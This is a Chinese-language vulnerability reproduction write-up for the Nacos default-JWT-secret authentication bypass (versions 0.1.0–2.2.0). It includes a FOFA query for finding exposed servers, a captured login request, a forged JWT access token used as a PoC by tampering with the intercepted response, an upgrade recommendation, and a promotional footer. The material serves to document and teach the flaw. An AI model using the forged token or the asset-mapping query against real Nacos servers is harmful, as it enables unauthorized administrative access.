一、描述
nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台,nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击对应就是数据包的accesstoken。
二、资产测绘
fofa:title=“nacos”
三、影响版本
0.1.0 <= Nacos <= 2.2.0
四、漏洞复现
访问本地环境:
http://192.168.6.8:8848/nacos/#/login
POST /v1/auth/users/login HTTP/1.1
Host: 192.168.6.8:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 10.10.10.5
X-Originating-Ip: 10.10.10.5
Priority: u=0
Te: trailers
Connection: close
username=test&password=test
拦截返回包填写如下:
POC:
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206
{
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
}
登录后台:
五、修复建议
升级到最新版nacos
-——————————————————————————————
正在学习网络安全的小伙伴,有需要安全资料或者CISP资料的可以关注安全技术达人公众号,后期回不断分享安全知识,回复“学习资料”可领取网络安全书籍。